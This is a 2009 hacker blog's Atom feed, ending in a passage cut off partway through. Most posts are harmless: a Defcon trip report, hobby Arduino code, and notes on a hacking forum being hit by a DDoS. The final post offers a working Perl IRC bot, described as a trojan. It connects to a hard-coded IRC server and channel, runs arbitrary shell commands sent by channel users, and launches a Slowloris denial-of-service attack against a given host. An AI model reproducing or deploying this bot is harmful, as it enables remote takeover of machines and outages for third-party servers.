title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=703840596660437585' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/703840596660437585'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/703840596660437585'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/08/how-bsdpunk-and-blog-are-doing.html' title='How bsdpunk, and the blog are doing.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-2822495515335336590</id><published>2009-08-07T12:37:00.000-07:00</published><updated>2009-08-07T12:38:40.576-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='int80'/><category scheme='http://www.blogger.com/atom/ns#' term='badge hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='defcon'/><category scheme='http://www.blogger.com/atom/ns#' term='hardware hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='gringo challenge'/><category scheme='http://www.blogger.com/atom/ns#' term='dualcore'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Vegas sucks. Defcon is Good</title><content type='html'>&lt;a href="http://www.flickr.com/photos/bsdpunkblog/3776874814/" title="Airport Vegas by bsdpunkblog, on Flickr"&gt;&lt;img src="http://farm4.static.flickr.com/3459/3776874814_9011d6d791.jpg" width="500" height="375" alt="Airport Vegas" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Yes there are slots in the airport.&lt;br /&gt;&lt;br /&gt;Las Vegas sucks. Why does Vegas suck? It's expensive the people suck, except the bellmen, and the hackers of course. The bus is expensive(I know, I ride buses). The strip club sucks(seriously she ripped the scar tissue in my back, seriously). Vegas fucking sucks. Everyone's desperate and everyone's a con....I know I know I did it wrong, here's how I failed at vegas and how you can succeed.&lt;br /&gt;&lt;br /&gt;I stayed at the Riviera.&lt;br /&gt;Fail: Over 80 bucks a night.&lt;br /&gt;Should have stayed at circus circus across the street, much cheaper.&lt;br /&gt;&lt;br /&gt;Food:&lt;br /&gt;Fail, mostly I bought stuff at the convience store in the hotel(sandwhices), about 5 bucks a piece.&lt;br /&gt;Should have taken the 7 dollar all day bus pass first day and loaded up on groceries off the strip/old strip.&lt;br /&gt;&lt;br /&gt;Many more fails, dancing injuries etc... but anyways vegas sucks, it's expensive. &lt;br /&gt;&lt;br /&gt;Defcon is good....well for what I wanted was, it is ok.&lt;br /&gt;&lt;br /&gt;I went to network with people. This was a total disaster. The whole con was so clicky it was hard to infiltrate groups and just talk to people. I tried really hard. I am positive I shook over a thousand hands(very difficult for someone as introverted as myself). I TRIED. I didn't get to talk to that many people though, that sucked, leave comments on how to do that better if you know. Everyone I met said, go to &lt;a href="http://www.shmoocon.org/"&gt;shmoocon&lt;/a&gt; it's better for that.&lt;br /&gt;The hardware hacking room was SO AWESOME and if I wasn't just trying to meet people, I would have probably spent all my time there. There were all kinds of contests and if I wanted to be involved in one of those I would have had a better time, when you have a chance look up:&lt;br /&gt;&lt;br /&gt;badge hacking (look forward to a post on two of my favorite people's badge hack)&lt;br /&gt;gringo warrior challenge&lt;br /&gt;The CTF &lt;br /&gt;Scavanger Challenge&lt;br /&gt;&lt;br /&gt;The EFF party was awesome, and int80 of &lt;a href="http://dualcoremusic.com/nerdcore/"&gt;DualCore&lt;/a&gt; was awesome, he got me to get up to the party and introduced me to a lot of cool people. Thanks int80, he is @dualcore if you are interested.&lt;br /&gt;&lt;br /&gt;There was no free swag in the vendors area....unless you bought stuff...and you know me, I bought to many books. There was a place called Unix Surplus that had a lot of great deals on servers and old mac and sgi boxes. There site is currently :/ but maybe they will restock after defcon and have a good ebay site or something soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-2822495515335336590?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/2822495515335336590/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=2822495515335336590' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/2822495515335336590'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/2822495515335336590'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/08/vegas-sucks-defcon-is-good.html' title='Vegas sucks. Defcon is Good'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm4.static.flickr.com/3459/3776874814_9011d6d791_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-1499803718251527773</id><published>2009-07-27T07:39:00.001-07:00</published><updated>2009-07-27T08:02:52.998-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bsdpunk'/><category scheme='http://www.blogger.com/atom/ns#' term='alan rickman'/><category scheme='http://www.blogger.com/atom/ns#' term='celebrity'/><title type='text'>Celebrity Collage by MyHeritage</title><content type='html'>DON'T CLICK ON IT. It will just take you to there stupid site...so I guess if you want to go there go ahead and click on it. But anyway, I was just happy a computer thought I looked like Alan Rickman.&lt;br /&gt;&lt;br /&gt;PS Incredibly disappointed I looked like someone from Linkin Park.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img style="visibility:hidden;width:0px;height:0px;" border=0 width=0 height=0 src="http://counters.gigya.com/wildfire/IMP/CXNID=2000002.0NXC/bHQ9MTI*ODcwNTUyMzI3NCZwdD*xMjQ4NzA1NTUxODM1JnA9MTEwNTcxJmQ9Y29sbGFnZSZuPWJsb2dnZXImZz*yJm89NjE2NmRkOTg5N2Y*NDY5MzgyNGJkMjQ5MjllZTFhNDYmb2Y9MA==.gif" /&gt;&lt;table height="1" cellspacing="0" cellpadding="0" border="0"&gt;&lt;tr&gt;&lt;td height="1"&gt;&lt;embed src="http://www.myheritagefiles.com/acollage/S/8_3/yd2a03_6219412fbbd6a4wjcp8003" width="203" height="232" type="application/x-shockwave-flash" wmode="transparent"&gt;&lt;/embed&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td height="1" align="center"&gt;&lt;a href="http://www.myheritage.com/collage" target="_blank" title="MyHeritage.com - free family trees, genealogy and face recognition"&gt;&lt;u&gt;http://www.myheritage.com/collage&lt;/u&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;p&gt;&lt;a href="http://www.myheritage.com"  &gt;MyHeritage&lt;/a&gt;: &lt;a href="http://www.myheritage.com"  &gt;Family tree&lt;/a&gt; - &lt;a href="http://www.myheritage.com/genealogy"  &gt;Genealogy&lt;/a&gt; - &lt;a href="http://celebrity.myheritage.com/celebrities"  &gt;Celebrity&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PS I really hope I age as well as Alan Rickman.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-1499803718251527773?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/1499803718251527773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=1499803718251527773' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1499803718251527773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/1499803718251527773'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/celebrity-collage-by-myheritage.html' title='Celebrity Collage by MyHeritage'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6219961017311196858</id><published>2009-07-19T16:33:00.000-07:00</published><updated>2009-07-19T16:35:20.138-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pad'/><category scheme='http://www.blogger.com/atom/ns#' term='pimp your pad'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Hacker / Music Pad</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/wydvxUq8oxA&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/wydvxUq8oxA&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;My new digs, yo. I set up my room in a more hackerish/studio style. Tell me what you think. The before picture set can be seen &lt;a href="http://www.flickr.com/photos/bsdpunkblog/sets/72157621704537406/"&gt;here.&lt;/a&gt; And the after picture set can be seen &lt;a href="http://www.flickr.com/photos/bsdpunkblog/sets/72157621704797718/"&gt;here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6219961017311196858?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6219961017311196858/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6219961017311196858' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6219961017311196858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6219961017311196858'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/hacker-music-pad.html' title='Hacker / Music Pad'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-5194649766214470838</id><published>2009-07-15T12:16:00.000-07:00</published><updated>2009-07-15T12:20:42.050-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hackforums.net'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker forums'/><category scheme='http://www.blogger.com/atom/ns#' term='donate'/><category scheme='http://www.blogger.com/atom/ns#' term='HackForums'/><title type='text'>Hackforums.net</title><content type='html'>Hackforums has been under a ddos for some time now, and is back up, perhaps only temporarily. I urge that if you use hackforums and you can afford it, that you donate a few dollars to keep it running. It looks like to mitigate further attacks more bandwidth must be purchased.&lt;br /&gt;&lt;br /&gt;I would like to disclose that I have a vested interest in hackforums.net staying up and under the same management. About 1/3 to half my traffic comes from hackforums.net, which is saying a lot.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://hackforums.net"&gt;http://hackforums.net&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-5194649766214470838?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/5194649766214470838/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=5194649766214470838' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5194649766214470838'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/5194649766214470838'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/hackforumsnet.html' title='Hackforums.net'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-7592727588904454495</id><published>2009-07-13T14:23:00.000-07:00</published><updated>2009-07-13T14:25:13.123-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hackforums.net'/><category scheme='http://www.blogger.com/atom/ns#' term='ddos'/><category scheme='http://www.blogger.com/atom/ns#' term='HackForums'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Hack forums was down for 3 days due to ddos, if you still aren't able to get there...</title><content type='html'>It means your IP got blocked, a massive number of IP's were blocked, and until the situation returns to normalcy(maybe a week), you will be blocked.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-7592727588904454495?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/7592727588904454495/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=7592727588904454495' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7592727588904454495'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/7592727588904454495'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/hack-forums-was-down-for-3-days-due-to.html' title='Hack forums was down for 3 days due to ddos, if you still aren&apos;t able to get there...'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-8236493522662964496</id><published>2009-07-12T17:35:00.001-07:00</published><updated>2009-07-13T04:09:24.466-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><category scheme='http://www.blogger.com/atom/ns#' term='lego mindstorm'/><category scheme='http://www.blogger.com/atom/ns#' term='strobe'/><category scheme='http://www.blogger.com/atom/ns#' term='news'/><category scheme='http://www.blogger.com/atom/ns#' term='rails'/><category scheme='http://www.blogger.com/atom/ns#' term='lego culture'/><category scheme='http://www.blogger.com/atom/ns#' term='c'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='objective c'/><category scheme='http://www.blogger.com/atom/ns#' term='nxt'/><title type='text'>News in brief</title><content type='html'>This weekend was a total wash.I really thought I was going to master rails in a single sitting but it just wasn't in the cards for me. I don't know if rails is that complicated, or I am just dumb. Anyways I definetly have a much firmer grasp on rails now, and am just at a point where I can actually start hacking away at a web app. Yeah it took that long. I was going to impliment a pleasure/pain system in my nxt brick robot and have people be able to give it rewards based on what it was doing, through a rails application I thought it might be easier than perl simply because I knew that rails had a database abstraction layer.....Oh what I didn't know. Anyway, I rebuilt the next brick according to someone elses design as well, to get it more suited for such a task, however, the configuration I used couldn't turn left or right....DOH. So event that was a wash. I also came to the realization it's getting harder and harder for me to start popping out a simple perl script once or twice a week, without either repeating myself or not paying enough attention to the script or the writing. Normally what I produce on my blog posts are simple hacks you can do in a single sitting. It looks like that will be changing(though I am sure every now and then I will pop one out, just out of scratching my own itch). I will be concentrating more on ruby and still on perl as will with a minor in objective c and maybe just plain c from now on. That being said I am also going to start focusing more on computer security as well, as this was the original intention of the blog, the robotics stuff will still be there.&lt;br /&gt;So Check out &lt;a href="http://leggor.de"&gt;Leggor.de&lt;/a&gt; and in particular Herold's Truck, I will embed the video below. The video is very well produced and meticulous, if not a bit creepy at the same time.&lt;br /&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/ftPot1L2vGo&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/ftPot1L2vGo&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Thanks to leggor.de, i found that there are indeed lego cad files, you can open them in a variety of programs, I have been using &lt;a href="http://ldd.lego.com/"&gt;Lego digital designer&lt;/a&gt; and have found that that works best for me(Windows and Mac).&lt;br /&gt;&lt;br /&gt;That being said I also revisted my strobe design on my arduino chip, and relized that, that post is badly written and the code is worse, so here is some corrected code, with the caveat of this design probably needs to be calibrated using the serial monitor based on the lighting in the room:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#define LED 13                 // LED connected to digital pin 13&lt;br /&gt;&lt;br /&gt;int val = 0;&lt;br /&gt;void setup()&lt;br /&gt;{&lt;br /&gt;  pinMode(LED, OUTPUT);      // sets the digital pin as output&lt;br /&gt;   Serial.begin(9600);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void loop()&lt;br /&gt;{&lt;br /&gt;  val = analogRead(0);&lt;br /&gt;  Serial.print(val);&lt;br /&gt;  Serial.print('\r');&lt;br /&gt;  if(val &lt; 13) {&lt;br /&gt;    digitalWrite(13, HIGH);&lt;br /&gt;    delay(100);                 &lt;br /&gt;    digitalWrite(13, LOW); &lt;br /&gt;    delay(100);&lt;br /&gt;    digitalWrite(13, HIGH);&lt;br /&gt;  } else {&lt;br /&gt;       digitalWrite(13, LOW);&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;That being said, my hubris has raised the chance of a real technical post for this weekend to about 99 percent fail, I am still going to try and crank something out but who knows.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/2009/05/making-strobe-light-with-duemilanove.html"&gt;Old Arduino Strobe post&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;PS&lt;br /&gt;&lt;br /&gt;I built alpharex wrong, I'm sorry.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-8236493522662964496?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/8236493522662964496/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=8236493522662964496' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8236493522662964496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/8236493522662964496'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/news-in-brief.html' title='News in brief'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4217887856898556905</id><published>2009-07-09T10:52:00.000-07:00</published><updated>2009-07-09T10:55:02.589-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='activeperl'/><category scheme='http://www.blogger.com/atom/ns#' term='modules'/><category scheme='http://www.blogger.com/atom/ns#' term='dos'/><category scheme='http://www.blogger.com/atom/ns#' term='slow loris'/><category scheme='http://www.blogger.com/atom/ns#' term='cpan'/><category scheme='http://www.blogger.com/atom/ns#' term='bot'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='activestate'/><category scheme='http://www.blogger.com/atom/ns#' term='total world domination'/><title type='text'>DOS bot and trojan written in perl featuring slow loris.</title><content type='html'>This is my second bot and probably my last hackery type blog post for some time, as I have some music to work on. This bot should work on both mac and linux, however I have not tested it on linux, read below for more info. This is a bot that will launch any command line from the system it is running on. All you need to do is type:system ifconfig, for instance to run ifconfig and it will give you the standard output back. But more importantly it will launch the slow loris DOS attack, if you simply type:slowloris example.tld . So without further ado, your instructions for Total World Domination..ok not really, I doubt you can do much with this.&lt;br /&gt;&lt;br /&gt;Modules that need to be installed in addition to modules that were installed for the previous bot &lt;a href="http://bsdpunk.blogspot.com/2009/07/perl-tutorial-on-setting-up-server.html"&gt;Server Monitor Bot&lt;/a&gt;&lt;br /&gt;sudo port install p5-net-pcap&lt;br /&gt;sudo cpan&lt;br /&gt;install Net::SSLeay&lt;br /&gt;install IO::Sockets::INET&lt;br /&gt;install IO::Sockets::SSL&lt;br /&gt;&lt;br /&gt;So all of a sudden my perl is complaining about threads, and I am freaking out. Because my perl, isn't going to do threads...that upsets me first of all. This happened when I reinstalled Mac OS X. So I decided I was going to compile my own perl and 5.10 to boot, beside my 5.8 perl. On mac, you DO NOT want to install over perl 5.8. This turned out to be a long confusing process, with very little documentation. I was suffice to say confused and unsure. And I made a deal with the devil. I installed ActiveState Perl on my mac. This sounds bad, and it may be, but so far this thing is behaving well. Almost good I would say, but I am scared to say that. So you can install ActiveState on your machine or you can go the CPAN route or rebuild your perl, the choice is yours, I was on a time crunch. I never was able to get this bot to work in a linux enviroment, because I didn't have time to deal with the modules being bastards, it honestly shouldn't be that hard I was just doingitwrong. If you install activestate, module installation is a breeze with ppm. The shebang for activestate is #!/usr/local/ActivePerl-5.10/bin/perl , and the ppm executable is conveinently /usr/local/ActivePerl-5.10/bin/ppm. You may have some permissions troubles getting the bot to start....but if you can't figure this out, then you probably don't have a legitimate reason to destroy the world, and will be stymied at this step. Ok so I put the timeout for loris at 240, it seems to be what the -test on slow loris returns for most small/medium servers, if you want to change it, it is on line 174. I would like to specially thank the those responsible for slow loris, RSnake &lt;h@ckers.org&gt; with threading from John Kinsella, this is in the footer which is appended to the file, because they spent a lot of time working on it I'm sure, and the code is pretty much just theirs, I am just a "know where to paste it" junkie.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/usr/local/ActivePerl-5.10/bin/perl&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;use POE qw(Component::IRC);&lt;br /&gt;use LWP::Simple;&lt;br /&gt;use IO::Socket::INET;&lt;br /&gt;use IO::Socket::SSL;&lt;br /&gt;use Getopt::Long;&lt;br /&gt;use Config;&lt;br /&gt;&lt;br /&gt;my $nickname = 'PoeIrcBot' . $$;&lt;br /&gt;my $ircname = 'POEIRCBOT';&lt;br /&gt;my $server = 'irc.malvager.com';&lt;br /&gt;my $channel = "#hammer";&lt;br /&gt;my $password = "password";&lt;br /&gt;&lt;br /&gt;my @channels = ('');&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# We create a new PoCo-IRC object&lt;br /&gt;my $irc = POE::Component::IRC-&gt;spawn( &lt;br /&gt;   nick =&gt; $nickname,&lt;br /&gt;   ircname =&gt; $ircname,&lt;br /&gt;   server =&gt; $server,&lt;br /&gt;) or die "Oh noooo! $!";&lt;br /&gt;&lt;br /&gt;POE::Session-&gt;create(&lt;br /&gt;    package_states =&gt; [&lt;br /&gt;        main =&gt; [ qw(_default _start irc_001 irc_public) ],&lt;br /&gt;    ],&lt;br /&gt;    heap =&gt; { irc =&gt; $irc },&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;$poe_kernel-&gt;run();&lt;br /&gt;&lt;br /&gt;sub _start {&lt;br /&gt;    my $heap = $_[HEAP];&lt;br /&gt;&lt;br /&gt;    # retrieve our component's object from the heap where we stashed it&lt;br /&gt;    my $irc = $heap-&gt;{irc};&lt;br /&gt;&lt;br /&gt;    $irc-&gt;yield( register =&gt; 'all' );&lt;br /&gt;    $irc-&gt;yield( connect =&gt; { } );&lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub irc_001 {&lt;br /&gt;    my $sender = $_[SENDER];&lt;br /&gt;&lt;br /&gt;    # Since this is an irc_* event, we can get the component's object by&lt;br /&gt;    # accessing the heap of the sender. Then we register and connect to the&lt;br /&gt;    # specified server.&lt;br /&gt;    my $irc = $sender-&gt;get_heap();&lt;br /&gt;&lt;br /&gt;    print "Connected to ", $irc-&gt;server_name(), "\n";&lt;br /&gt;&lt;br /&gt;    # we join our channels&lt;br /&gt;    $irc-&gt;yield( join =&gt; $_ ) for @channels;&lt;br /&gt;    $irc-&gt;yield( join =&gt; "$channel $password");&lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub irc_public {&lt;br /&gt;    my ($sender, $who, $where, $what) = @_[SENDER, ARG0 .. ARG2];&lt;br /&gt;    my $nick = ( split /!/, $who )[0];&lt;br /&gt;    my $channel = $where-&gt;[0];&lt;br /&gt;&lt;br /&gt;    if ( my ($loadWord) = $what =~ /^load/ ) {&lt;br /&gt;     my $uptime = `uptime`;&lt;br /&gt;        my $cpuUsagetwo = qr/(load averages: \d+\.\d+ \d+\.\d+ \d+\.\d+)/;&lt;br /&gt;        if ($uptime =~ $cpuUsagetwo){&lt;br /&gt;         $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;        if ( my ($ipWord) = $what =~ /^ipadd/ ) {&lt;br /&gt;      my @ifconfig = `ifconfig`;&lt;br /&gt;         my $inetter = qr/(inet \d+\.\d+\.\d+.\d+)/;&lt;br /&gt;         foreach (@ifconfig) {&lt;br /&gt;         my $line = $_;&lt;br /&gt;         if ($line =~ $inetter){&lt;br /&gt;          $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;         }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;        if ( my ($ipWordtwp) = $what =~ /^exadd/ ) {&lt;br /&gt;                  my $whyip = qr/(Your IP address is \d+\.\d+\.\d+.\d+)/;&lt;br /&gt;      my $content = get("http://whatismyipaddress.com");&lt;br /&gt;      if($content =~ $whyip){&lt;br /&gt;       $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $&amp;" );&lt;br /&gt;     }&lt;br /&gt;    }&lt;br /&gt;    if ( my ($sysWord) = $what =~ /^system/ ) {&lt;br /&gt;      my @sysCmd = `$'`;&lt;br /&gt;         foreach(@sysCmd){&lt;br /&gt;          $irc-&gt;yield( privmsg =&gt; $channel =&gt; "$nick: $_" );&lt;br /&gt;         }&lt;br /&gt;      }&lt;br /&gt;      if ( my ($sysWord) = $what =~ /^slowloris/ ) {&lt;br /&gt;        my $dnspick = $';&lt;br /&gt;        my $timeoutpick = '240';&lt;br /&gt;        $SIG{'PIPE'} = 'IGNORE';    #Ignore broken pipe errors&lt;br /&gt;  &lt;br /&gt;  print &lt;&lt;EOTEXT;&lt;br /&gt;  CCCCCCCCCCOOCCOOOOO888\@8\@8888OOOOCCOOO888888888\@\@\@\@\@\@\@\@\@8\@8\@\@\@\@888OOCooocccc::::&lt;br /&gt;  CCCCCCCCCCCCCCCOO888\@888888OOOCCCOOOO888888888888\@88888\@\@\@\@\@\@\@888\@8OOCCoococc:::&lt;br /&gt;  CCCCCCCCCCCCCCOO88\@\@888888OOOOOOOOOO8888888O88888888O8O8OOO8888\@88\@\@8OOCOOOCoc::&lt;br /&gt;  CCCCooooooCCCO88\@\@8\@88\@888OOOOOOO88888888888OOOOOOOOOOCCCCCOOOO888\@8888OOOCc::::&lt;br /&gt;  